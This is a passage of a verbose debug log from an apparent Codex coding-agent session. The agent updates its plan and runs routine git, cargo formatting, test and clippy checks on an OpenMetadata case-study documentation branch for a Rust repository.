session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:07.507Z] [INFO] \n[2026-07-12T04:06:07.576Z] [INFO] 2026-07-12T04:06:07.574100Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:06:07.576Z] [INFO] \n[2026-07-12T04:06:07.675Z] [INFO] 2026-07-12T04:06:07.674654Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:06:07.675Z] [INFO] 2026-07-12T04:06:07.674804Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:06:07 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"283b9bd1-3d8e-4da8-91b8-1dfb20d2cac1\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=6GDjcD6rmuVbpc6v45caAYIHlL6fFyD2kw7WIxogg6Ff%2FgBLA8YPzB%2BA7kupnTJKHK1Z%2FExRIFa5Op3NX0fT7ia68SOAZ9EGjG46DA80ytZ8fqJ2GuL6VjPZYbKR\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d2c69788bdc74-FRA\"} version=HTTP/1.1\n[2026-07-12T04:06:07.675Z] [INFO] \n[2026-07-12T04:06:09.396Z] [INFO] 2026-07-12T04:06:09.396420Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312b15fb48191b5e0054d6a027b86\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxKxjP1jQQemJ2OkgjabJ7rOepfvcwbd9UQpwBEovhBtJ5b66gcsfEfJAo72pKPrDwoDg2dujFqafSxybZ6lCm_PyULvk1p0A8933-eoy1tfBAN08sYnFSn-ui9Bw9omwBfq_UIT91NBbLzfb4DkrrMv0Q36neW8OCbIKMRm2nx2l1SSi4TsOrdfIeEOqm4uJSgALkxL0NofXaYbsxq9fuxDi7chUNcc1Ohjg4iU9MaUP8p8sBoQ9BYzdOZiIrhcRfR0bnXScheROw_M4iMAp6d-x18JN8AcjW5MiHim2h4YDY3PIxfw0L6Bp9jM7XA8Mfoa0CFnZ2pSZ-TOxZrrdzQ8nSA-w8gQXlh9r1tMAR7GYBptJMO8vEKODtig82Eq67N-GKRzlrt1cbI6Ru-VoN9pYAxK3cKOVZjsBdm7hQs2pvDaFWFav7mSOjTQKQ_n3sKvVCzSa6f0joD1usGYJ7d1IO9wNUGsDbckjH-TOrB4JPktdneA4PG1taMU_N8yuTexLfF895YTWXpr-VZ_V21kglGMbMhPokCCet2fcoV767FDBWWyhwbKbQUKYEAScGNt2ZGL5piEuJWYjfoaOxyzqziWcMEJblsF4oh-Bvniz1zrPrAmUtWKAP6uspQvG7j3AvjtY9JwXH4t8zUV3vgQnukod2rgW4Od7LjAXK3Qj4U7x84ycLbAFT5RjAfavrtRb1fiEB-3Lxk1IUV3H_e77A49z5hL8xUmyoqpJksbZbU_aLOxzSIl15sV0Mcuwgw5oy9CUXuz4nSduAwyCXpW4S9UwVQZypQXauBVdx2zWhJBH8_mgmsLZBLk06q0bPcIfKTPuibCbk_pmqT-bhkKs2wftbxLMiTTx4NaBbdKisuM37RR9mjAcUNL5quaY8fDo-DMGCQjYUIJp82uv9wGQg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:09.396Z] [INFO] \n[2026-07-12T04:06:10.540Z] [INFO] 2026-07-12T04:06:10.539315Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312b15fb48191b5e0054d6a027b86\"), summary: [SummaryText { text: \"**Verifying code formatting and documentation links**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxKy0VJHy_kLF4pui6EMxzRqbkBP0aPsRNe0EB1yHcHQ3ZiXOssYe_n21HB60oYF6yl57udI2bF8dQN3bx4fYUuOH4-nUVeJFllwR-vVunsMHyqZXTaUEd32uFnWiA5n_n3u1Gg5J3LxkGeCEN6ePL9ia8EkUP9aD3Zep8Vo3ILuUadLck-HIac4tT9HPHWSwPgMMc4fuAZddiTB0hKDPUzUFUvkzRS1g_Uko_SARqU2BuSekuP-Z-4Feiq5TpPGtjnt_4lDmhMfiyrGRuokG9Adh6S2eRNmJJzcBGu9PRdBP30sLeomgYjOrgjZ0I1WcTlj771hFI9cPm1MHj5irpcgg0VXu224XGyAK4iigB71GtRdD5n3QlFEiJsdgWn1qzyOLvHx97mPy61Gpghjupmx4HSkwmaBU_obdWLx2c1KZ-zvmKWxl2FkhMhqgGPVnQdK0lWq7omR9qGG3SiYjFcyTqq3vbipEFhXv92ERLrDCprXH7YYsFrD7Wkx3x7l5zPYuQK7ppJX40HmfASZwG0YGSEmKIxleCCSYxdPHyaKNflyve91JmIXXVZ-ICSXd5aHQZaaXTZjL3PLZhs91LeO1jVtIdCwM3Xy4Z-AEAC1MTPfWi95xj3wAFn3jpHcv-gfYFvrEPQolhM5ef4JgWX6YZjSzoW2hbZUNsNwbUkHjq2o-xGnKMig3iJG9XNYXp_crSEAxAafrZp3pj3oY8r5LkrhLe_9HoB-Eexx_MgL8gdzf8NHzSPZBHtaEneZc7zSxPuylsyeLmINzphlTUyJID-sDXZPgDR8t9G5R7BL8hPf-ZazzwMXlSTcikJ7qjEUdESy4pNtVO5Uv6s2bzFQFOzVOwCDkqfp2vacl7x4KGcP7i3sV1mRf8SDV9-33Pf6Agy55Tz9R8EnBSREeu3zVBIc4plb-Jb-_AZqwJLbmyJjcOZT_dZH8Bi60cIJuBvCi1JUSUGiq-SKIhkNsRAA-V7k2dYlCsb5hwpgvRQTzYTX2onllk7qYQfHEfe-5v2PpsI3WXlY5xF6t8uryp2S6G9S9z0bBJgT0tKcpgvjbsyUBr_LV__UhlYlnPw7WiaE1NyQICgkjUMBKAh-8aTw8Us2A0HZk6B4pNNZuvQL1Lh_w9o4G4tltrJNZUs3_bLDmaoHFnsIeNIsZ12NTIfEc2QT8gWgt8-0bXGn_NURdkggV7-cEGs0zJ2YWCCv5ZoZ\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:10.540Z] [INFO] \n[2026-07-12T04:06:10.544Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_29\",\"type\":\"reasoning\",\"text\":\"**Verifying code formatting and documentation links**\"}}\n[2026-07-12T04:06:10.544Z] [INFO] \n[2026-07-12T04:06:10.546Z] [INFO] 2026-07-12T04:06:10.543964Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312b2845c8191a93afbf85a74c7af\"), status: Some(\"in_progress\"), call_id: \"call_SpHEba3YELgZgIoJO1MACMGU\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:10.546Z] [INFO] \n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.044479Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.044580Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.045068Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=0\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.046172Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.046208Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:06:13.046Z] [INFO] \n[2026-07-12T04:06:13.048Z] [INFO] 2026-07-12T04:06:13.046590Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:06:13.048Z] [INFO] \n[2026-07-12T04:06:13.093Z] [INFO] 2026-07-12T04:06:13.088008Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:06:13.093Z] [INFO] 2026-07-12T04:06:13.089810Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:06:13.093Z] [INFO] \n[2026-07-12T04:06:13.098Z] [INFO] 2026-07-12T04:06:13.094992Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:06:13.098Z] [INFO] 2026-07-12T04:06:13.095041Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59949\n[2026-07-12T04:06:13.098Z] [INFO] \n[2026-07-12T04:06:18.557Z] [INFO] 2026-07-12T04:06:18.557142Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const u=await tools.update_plan({explanation:\"Issue and PR evidence are collected, the OpenMetadata comparison is complete, and the case-study deliverable plus changelog fragment are implemented. This is a research/documentation issue, so no runtime defect reproduction applies; verification focuses on artifact completeness, links, formatting, and repository CI.\",\"plan\":[\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"in_progress\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:06:18.557Z] [INFO] ]});\n[2026-07-12T04:06:18.557Z] [INFO] const r=await tools.exec_command({cmd:\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":1000,\"max_output_tokens\":5000});\n[2026-07-12T04:06:18.557Z] [INFO] text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:18.557Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:18.557Z] [INFO] \n[2026-07-12T04:06:18.578Z] [INFO] 2026-07-12T04:06:18.578408Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312af9b6c819185bae4f5097607cd\"\n[2026-07-12T04:06:18.578Z] [INFO] 2026-07-12T04:06:18.578471Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=59967 output_token_count=500 cached_token_count=49920 reasoning_token_count=44 tool_token_count=60467 ttft_ms=1899 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:18.578Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.578Z] [INFO] 2026-07-12T04:06:18.578491Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=59967 output_token_count=500 cached_token_count=49920 reasoning_token_count=44 tool_token_count=60467 ttft_ms=1899 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:18.578Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.578Z] [INFO] \n[2026-07-12T04:06:18.703Z] [INFO] 2026-07-12T04:06:18.702889Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-47ed82c0-db49-44a8-bd7b-4b2356f6ec49 arguments={\"explanation\":\"Issue and PR evidence are collected, the OpenMetadata comparison is complete, and the case-study deliverable plus changelog fragment are implemented. This is a research/documentation issue, so no runtime defect reproduction applies; verification focuses on artifact completeness, links, formatting, and repository CI.\",\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"completed\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"completed\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"completed\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"in_progress\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"pending\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"pending\"}]} duration_ms=6 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:18.702Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.703Z] [INFO] 2026-07-12T04:06:18.702954Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-47ed82c0-db49-44a8-bd7b-4b2356f6ec49 duration_ms=6 success=true arguments_length=988 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:18.702Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.703Z] [INFO] \n[2026-07-12T04:06:18.705Z] [INFO] {\"type\":\"item.updated\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":false},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":false},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":false}]}}\n[2026-07-12T04:06:18.705Z] [INFO] \n[2026-07-12T04:06:18.741Z] [INFO] 2026-07-12T04:06:18.740339Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-3fadcf9b-7894-478f-9191-61d20bbf275c decision=approved source=Config event.timestamp=2026-07-12T04:06:18.740Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.741Z] [INFO] \n[2026-07-12T04:06:18.948Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_30\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\\\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:06:18.948Z] [INFO] \n[2026-07-12T04:06:19.969Z] [INFO] 2026-07-12T04:06:19.968257Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-3fadcf9b-7894-478f-9191-61d20bbf275c arguments={\"cmd\":\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=1232 success=true output=Chunk ID: c9ed6a\n[2026-07-12T04:06:19.969Z] [INFO] Wall time: 1.0183 seconds\n[2026-07-12T04:06:19.969Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:19.969Z] [INFO] Original token count: 178\n[2026-07-12T04:06:19.969Z] [INFO] Output:\n[2026-07-12T04:06:19.969Z] [INFO]  D .gitkeep\n[2026-07-12T04:06:19.969Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:19.969Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.969Z] [INFO] 93 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.969Z] [INFO] 233 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.969Z] [INFO] 122 docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.969Z] [INFO] 256 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.969Z] [INFO] 17 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.969Z] [INFO] 35 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.969Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:19.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.969Z] [INFO] 2026-07-12T04:06:19.968332Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-3fadcf9b-7894-478f-9191-61d20bbf275c duration_ms=1232 success=true arguments_length=664 output_length=827 output_line_count=20 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:19.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.969Z] [INFO] \n[2026-07-12T04:06:19.985Z] [INFO] 2026-07-12T04:06:19.985056Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_SpHEba3YELgZgIoJO1MACMGU arguments=const u=await tools.update_plan({explanation:\"Issue and PR evidence are collected, the OpenMetadata comparison is complete, and the case-study deliverable plus changelog fragment are implemented. This is a research/documentation issue, so no runtime defect reproduction applies; verification focuses on artifact completeness, links, formatting, and repository CI.\",\"plan\":[\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"in_progress\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:06:19.985Z] [INFO] ]});\n[2026-07-12T04:06:19.985Z] [INFO] const r=await tools.exec_command({cmd:\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":1000,\"max_output_tokens\":5000});\n[2026-07-12T04:06:19.985Z] [INFO] text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:19.985Z] [INFO]  duration_ms=1394 success=true output=Script completed\n[2026-07-12T04:06:19.985Z] [INFO] Wall time 1.4 seconds\n[2026-07-12T04:06:19.985Z] [INFO] Output:\n[2026-07-12T04:06:19.985Z] [INFO] \n[2026-07-12T04:06:19.985Z] [INFO]  D .gitkeep\n[2026-07-12T04:06:19.985Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:19.985Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.985Z] [INFO] 93 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.985Z] [INFO] 233 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.985Z] [INFO] 122 docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.985Z] [INFO] 256 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.985Z] [INFO] 17 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.985Z] [INFO] 35 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.985Z] [INFO] \n[2026-07-12T04:06:19.985Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:19.985Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.985Z] [INFO] 2026-07-12T04:06:19.985116Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_SpHEba3YELgZgIoJO1MACMGU duration_ms=1394 success=true arguments_length=1777 output_length=777 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:19.985Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.985Z] [INFO] \n[2026-07-12T04:06:19.998Z] [INFO] 2026-07-12T04:06:19.985337Z  INFO 